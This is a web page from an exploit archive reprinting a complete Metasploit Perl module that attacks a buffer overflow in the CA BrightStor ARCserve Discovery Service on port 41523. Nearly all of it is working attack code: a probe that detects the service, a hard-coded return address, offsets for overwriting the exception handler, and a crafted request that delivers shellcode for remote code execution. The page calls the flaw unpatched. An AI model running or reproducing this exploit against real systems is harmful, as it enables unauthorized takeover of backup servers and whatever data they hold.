exploits , vulnerabilities , articles , Computer Associates BrightStor ARCserve Discovery SERVICEPC Overflow Exploit

This is an unpatched vulnerability

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_disco_servicepc;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'CA BrightStor Discovery Service SERVICEPC Overflow',
'Version' => '$Revision: 1.2 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' => 
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 41523],
},

'Payload' => 
{
'Space' => 2048,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp,
-3500 
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a vulnerability in the CA BrightStor
Discovery Service. This vulnerability occurs when a specific
type of request is sent to the TCP listener on port 41523. This
vulnerability was discovered by cybertronic[at]gmx.net and affects
all known versions of the BrightStor product. This module is based
on the 'cabrightstor_disco' exploit by Thor Doomen.
}),

'Refs' => 
[
['URL',
'http://archives.neohapsis.com/archives/bulletins/2005-02/0123.html'],
],

'Targets' => 
[
['cheyprod.dll 12/12/2003', 0x23805714], # pop/pop/ret
],

'Keys' => ['brightstor'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

# Connection #1 should not receive a response
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("META");
my $res = $s->Recv(-1, 1);
$s->Close;

if ($res) {
$self->PrintLine("[*] The discovery returned a strange response:
$res");
}

# Connection #2 should receive the hostname of the target
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("hMETA");
my $res = $s->Recv(-1, 1);
$s->Close;

if (! $res) {
$self->PrintLine("[*] The discovery service did not respond to our
query");
return $self->CheckCode('Generic');
}

$self->PrintLine("[*] Discovery service active on host:
$res");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine("[*] Attempting to exploit target " .
$target->[0]);

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}


my $poof = Pex::Text::EnglishText(4096);

# Overwriting the return address works well, but the only register
# pointing back to our code is 'esp'. The following stub overwrites
# the SEH frame instead, making things a bit easier.

substr($poof, 1024, 2, "\xeb\x06"); 
substr($poof, 1028, 4, pack('V', $target->[1]));
substr($poof, 1032, length($shellcode), $shellcode);

# Make sure the return address is invalid to trigger SEH
substr($poof, 900, 100, chr(128 + rand()*127) x 100);

my $bang = 
"\x9b".
"SERVICEPC".
"\x18".
pack('N', 0x01020304).
"SERVICEPC".
"\x01\x0c\x6c\x93\xce\x18\x18\x41".
$poof;

$self->PrintLine("[*] Sending " .length($bang) . " bytes
to remote host.");
$s->Send($bang);

# Closing the socket too early breaks the exploit
$s->Recv(-1, 5);

return;
}

1;
securitydot.net - 2005-02-13